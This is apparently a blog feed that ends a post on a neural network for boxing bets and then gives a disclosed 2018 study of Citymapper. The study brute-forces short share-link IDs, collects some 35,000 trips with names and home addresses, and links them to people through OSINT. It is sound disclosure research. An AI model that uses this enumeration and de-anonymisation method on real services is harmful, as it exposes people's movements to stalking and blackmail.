Using a relatively simple network architecture I was able to achieve an accuracy of 92% across the validation data using an 80:20 split. Further experimentation would include more complex architectures, dropout and batch normalisation but I was keen to use my model on future bouts.

classifier = Sequential() 

classifier.add(Dense(output_dim = 6, init = 'uniform', activation = 'relu', input_dim = 40)) 

classifier.add(Dense(output_dim = 10, init = 'uniform', activation = 'relu')) 

classifier.add(Dense(output_dim = 10, init = 'uniform', activation = 'relu')) 

classifier.add(Dense(output_dim = 1, init = 'uniform', activation = 'sigmoid'))

Epoch 146/150
50886/50886 [==============================] - 31s 610us/step - loss: 0.1903 - acc: 0.9257
Epoch 147/150
50886/50886 [==============================] - 30s 581us/step - loss: 0.1902 - acc: 0.9259
Epoch 148/150
50886/50886 [==============================] - 30s 597us/step - loss: 0.1903 - acc: 0.9257
Epoch 149/150
50886/50886 [==============================] - 30s 580us/step - loss: 0.1901 - acc: 0.9253
Epoch 150/150
50886/50886 [==============================] - 28s 560us/step - loss: 0.1905 - acc: 0.9251

I trained the neural network twice, once with the intention of picking whether or not a boxer would win and a second time with the intention of trying to pick which round the boxer would win in. The prices offered on picking the correct round are many magnitudes (often as high as 16/1) better than wagering on just a W or L outcome. The accuracy on training a round betting model achieved an accuracy of 17%. While this accuracy is poor, if you can afford to lose 83 times out of 100 but with a 5-16x return on successful bets, this may be a project worthy of further research.

Predictions

The output of the ‘win’ neural network was a decimal between 0 and 1. A score close to 0 indicated that the boxer in question had a low chance of winning, a score of 1 indicated a high chance of winning.

While you might consider this prediction enough to start placing your own bets it is first important to compare the confidence of your prediction to the implied probability offered by the bookmaker. Implied probabilities from fractional odds (the most common way of representing odds in the UK) are calculated using the following equation.

denominator / (denominator + numerator) * 100

Once you have a probability from your model and an implied probability from the bookmaker you can set a decision threshold. Ideally you would refine your decision threshold by gathering large quantities of historical odds, compare them to the predictions of your model and then to the actual outcome.

In practice, this model favoured betting on clear favourites where the return on investment for an individual bet was less than 10%. Making a consistent 6-7% could have been achieved through automation but this was less interesting than scanning the book for ‘unicorn’ bets. These bets were advantageous to find as the offered odds were significantly mis-priced.

This happened in the bout between Hughie Fury and Kubrat Pulev in October 2018. Kubrat Pulev was a higher ranked boxer fighting on home turf in Sofia, Bulgaria. However, in British betting markets there was significant market sentiment in favour of Hughie Fury.

The machine learning model believed the probability of Kubrat Pulev winning the fight was 93%. The implied probability offered by the bookmakers was that he was only a marginal favourite at around 66% meaning I could place a high confidence bet at odds of 4/8.

The takeaway points for this project is that it is possible to engineer a small advantage over the bookmakers using machine learning. As the barriers to entry for learning about Artificial Intelligence are lowered, this is something that is available to more people every day.

With extra time and automation it may be possible to a get a moderate return on investment at a risk you can control by adjusting your thresholds for bet placement.

For those of you who are more casual betters, machine learning can be used to try and identify mis-priced bets. While I haven’t done any further research, I think mis-pricing and international betting markets would be an interesting area of research.

I will leave you with the odds offered on each round for Anthony Joshua to beat Joseph Parker in the UK…

Joshua to win in round 1    14/1
Joshua to win in round 2    10/1
Joshua to win in round 3    8/1
Joshua to win in round 4    8/1
Joshua to win in round 5    8/1
Joshua to win in round 6    8/1
Joshua to win in round 7    8/1
Joshua to win in round 8    9/1
Joshua to win in round 9    12/1
Joshua to win in round 10   14/1
Joshua to win in round 11   16/1
Joshua to win in round 12   20/1

and New Zealand…

Joshua to win in round 1    17/1
Joshua to win in round 2    15/1
Joshua to win in round 3    12/1
Joshua to win in round 4    12/1
Joshua to win in round 5    10/1
Joshua to win in round 6    10/1
Joshua to win in round 7    10/1
Joshua to win in round 8    12/1
Joshua to win in round 9    15/1
Joshua to win in round 10   17/1
Joshua to win in round 11   19/1
Joshua to win in round 12   21/1

Online Stalking: London, Paris, New York

Sun, 18 Feb 2018 12:00:00 GMT

Citymapper is a journey planning application that integrates all modes of transport (public, cycling, walking, driving) in major urban areas. Starting in London, Citymapper is now available in New York, Paris and Amsterdam as well as further afield (as you’ll see shortly).

Citymapper hasn’t disclosed the number of users it has. The Google Play store states between 5-10million downloads; assume the same, if not higher, for Apple’s App Store. Remember that it is only available in major cities and you can see that a large percentage of the world’s capital cities use this application.

On a personal note, Citymapper is a ‘must-have’ app for anybody living in London, especially for a non-local. Citymapper’s ability to respond to train non-availability, cancellations and tube strikes whilst still delivering a live and accurate route recommendation has certainly saved a few people caught in the rain or running late for job interviews.

So, what kind of data does Citymapper have?

On any given day, in cities around the world, they know the exact routes of millions of people; they know where people are travelling, when, and even what modes of transport they are taking.

This information would be hugely useful and have huge applications for any organisation that operates in one of the world’s major cities… it could also be used maliciously should any of this data be publicly facing.

In October 2015, Citymapper rolled out an update that allowed it’s users to share routes and arrival times with their friends. Even friends that don’t have the application can view the trip as it all works through the web browser. Each time a trip is planned on Citymapper a URL is generated that allows your friends to view your trip on a web page. Below is an example.

As you can see there isn’t anything hugely compromising and no personal identifiable information is available. You have a start location, an end location, a route and some timing information. In this instance, a random inhabitant of London travelled from Tooting to Balham on the Northern Line before getting an Overground train to Battersea, all in all taking 26 minutes.

The eagle-eyed amongst you might see where this is going.

The URL (https://citymapper.com/trip/Tbs6odu) has a fairly short unique identifier. “Tbs6odu”, 7 characters long with uppercase, lowercase and numeric characters.

By way of comparison, most online sharefile programs that generate random URLs often have upwards of 20 characters; inclusive of uppercase, lowercase, numbers and special characters (Aj5ye&hsk8Pq@3Hh%#3Q), which is exponentially harder to brute force.

Using a Python script to generate alphanumerical codes 7 characters in length, and check if they are valid by firing an HTTP request to Citymapper was initially sluggish. Even though it is a comparatively short URL ID there are still ~3 x 1012 combinations to get through – slow progress if you need to remain below the threshold of Citymapper’s rate limiter. In an hour I had discovered less than 10 valid URLs.

However, there was a pattern!

-T4v8muk -Tgg5743 -Tbiwmq9 -Tha7v1o -Tjrdjfp -Tdgv2zj -Tjgddh3 -Twdwck3

Each of the URLs began with a capital ‘T’ and used no uppercase letters after the first character. Mathematically, this reduces the number of possible URL combinations from ~3 x 1012 to ~2 x 109.

A few tweaks to the Python script and it was possible to harvest over 35,000 valid URLs in just a few hours.

Whilst it was quite fun to browse to each trip individually, and see what the people of the world were up to, I decided to try and visualise all this data. With our list of valid URLs, it was then possible to use API requests to harvest the information available for each of the 35,000 trips.

Each API returned (broadly!) followed the following:

{'status': 'arrived', 'last_updated': '2016-09-15T10:13:09.126014+00:00', 'region_id': 'uk-london', 'endaddress': '', 'endname': '', 'message': '', 'share_type': 'eta', 'title': None, 'eta': '2016-09-15T10:13:00+00:00', 'startname': '', 'signature': '{"duration": 544, "end": {"address": "Tudor Stacks, 1 Dorchester Dr, Herne Hill, London SE24 0DL, UK", "coords": "51.458745,-0.096573", "id": "google:ChIJhzq09XYEdkgRnJYjDWZtzsA", "name": "Tudor Stacks, 1 Dorchester Dr, Herne Hill, London SE24 0DL, UK", "source": "3"}, "kind": "cycle_personal/fastest", "legs": [{"distance": 1694, "duration": 544, "ec": "51.458573,-0.096713", "mode": "cycle", "sc": "51.468142,-0.095144"}], "region": "uk-london", "start": {"address": "Bessemer Road", "coords": "51.468135,-0.095137", "source": "1"}, "time": "2016-09-15T11:01:44+01:00/NOWISH", "version": 2}', 'startaddress': '', 'coords': [51.458855, -0.096722]}

As you can see below it is possible to harvest, en masse, starts and ends to journeys, addresses, methods of transportation and lat/long coordinates.

Plotting all the lat/long coordinates into generates the following maps. (To any non-GIS aficionados, the easiest way I found to accomplish this was using Google Fusion tables – a tutorial can be found here https://support.google.com/fusiontables/answer/2571232).

The World:

London:

However, not all API returns were created equally. Out of the ~35,000 API returns there were: 1,706 usernames, 3,623 locations that were tagged as ‘home’ and 1,009 locations were tagged as ‘work’. Combined with some OSINT research we can start to attribute trips to ‘real people’. Take the following API response (anonymised with x’s where appropriate):

{
   "status":"expired",
   "last_updated":"2017-04-04T19:33:55+00:00",
   "region_id":"uk-london",
   "endaddress":"",
   "endname":"",
   "message":"",
   "share_type":"eta",
   "title":"None",
   "eta":"2017-04-04T20:27:00+00:00",
   "startname":"",
   "signature":{
      "car":18701,
      "duration":3759,
      "end":{
         "address":"XXXXX, XXXXX, London E17 XXX, UK",
         "coords":"51.5XXXX,-0.0XXXXX",
         "name":"Home",
         "source":"5"
      },
      "legs":[
         {
            "distance":391,
            "duration":346,
            "ec":"51.4XXXX,-0.1XXXX",
            "in_station":"0/60",
            "mode":"walk",
            "sc":"51.XXXXX,-0.1XXXXX"
         },
         {
            "end":"Victoria",
            "mode":"transit",
            "route_ids":[
            "NationalRailSN"
            ],
            "start":"BatterseaPark",
            "stop_count":2,
            "stop_ids":[
            "Platform_BatterseaPark_NationalRail",
            "Platform_Victoria_BGeS"
            ]
         },
         {
            "distance":0,
            "duration":330,
            "ec":"51.4XXXX,-0.1XXXXX",
            "in_station":"1/330",
            "mode":"walk",
            "sc":"51.4XXXXX,-0.1XXXXX"
         },
         {
            "end":"WalthamstowCentral",
            "mode":"transit",
            "route_ids":[
            "Victoria"
            ],
            "start":"Victoria",
            "stop_count":12,
            "stop_ids":[
            "Platform_Victoria_V_dN",
            "Platform_WalthamstowCentral_Underground"
            ]
         },
         {
            "distance":1349,
            "duration":1205,
            "ec":"51.5XXXXX,-0.0XXXXX",
            "from_exit":"WalthamstowCentral_E2903",
            "in_station":"2/120",
            "mode":"walk",
            "sc":"51.5XXXX,-0.0XXXXX4"
         }
      ],
      "price_pence":390,
      "region":"uk-london",
      "routing_request_id":"02ffc71d-daa5-4828-bea3-a31adf3c3c6e",
      "start":{
         "coords":"51.4XXXXX,-0.1XXXX",
         "source":"1"
      },
      "time":"2017-04-04T20:29:04+01:00/NOWISH",
      "version":2
   },
   "startaddress":"",
   "coords":[
     51.4XXXX,
     -0.1XXXX
   ],
   "user_name":"Chris"
}

As you can see, on 04 Apr 2017, Chris took a journey at 19:33 from Battersea to his home address in E17. He walked to Victoria station before taking the Victoria line to Walthamstow.

With a bit of help from electoral records and social media we can attribute Chris to an actual human being… with actual friends and an actual job.

Arguably this journey in isolation isn’t very useful to anybody, malicious or otherwise. If I ran my Python script for a month however, there would probably be enough data to start building a pattern of life for Chris (depending on how often he uses the application). This is especially pertinent as some of the journeys that I harvested were dated from over 2 years ago. However, I couldn’t confirm whether every journey ever made on Citymapper was available with such a small dataset.

What is interesting though is that if you take an ‘end location’ and work backwards you can see which individuals have been to certain locations.

In my dataset there were 5 instances of journeys planned to visit the Eiffel Tower in Paris; the 5 people had made their way there from shopping, bars, or hotels. Not surprising.

But what if we look at somewhere less reputable; such as Amsterdam’s red light district;

We can see that a handful of people may be unaware that their trips are publicly available. If we used OSINT to research these trips and people, might we find a happily married man to blackmail?

Would Oscar’s employers be happy to know that he was taking a trip home at 04:03 on a Wednesday morning?

The Fix

I wouldn’t classify this a bug or a security flaw, per se, but there is more Citymapper can do to prevent these types of attacks from being used in the wild:

To protect future URLs increase the ID complexity either by increasing the length or including uppercase and special characters.
Audit historical trips and remove the links to trips over a few days old, there would be no reason for the link to remain after a trip is complete.
Remove first names or home labels from publicly facing API

Disclosure

We e-mailed Citymapper’s operations team to raise the issue and their engineering team promptly responded and fixed the issue within a week – thank you Citymapper!

7th November ‘17 — Research conducted
9th November ‘17 — Vendor notified
16th November ‘17 — Citymapper pushes out a patch, rendering this attack infeasible – seeking solutions to existing URLs and confidentiality issues.
13th February ‘18 — Article published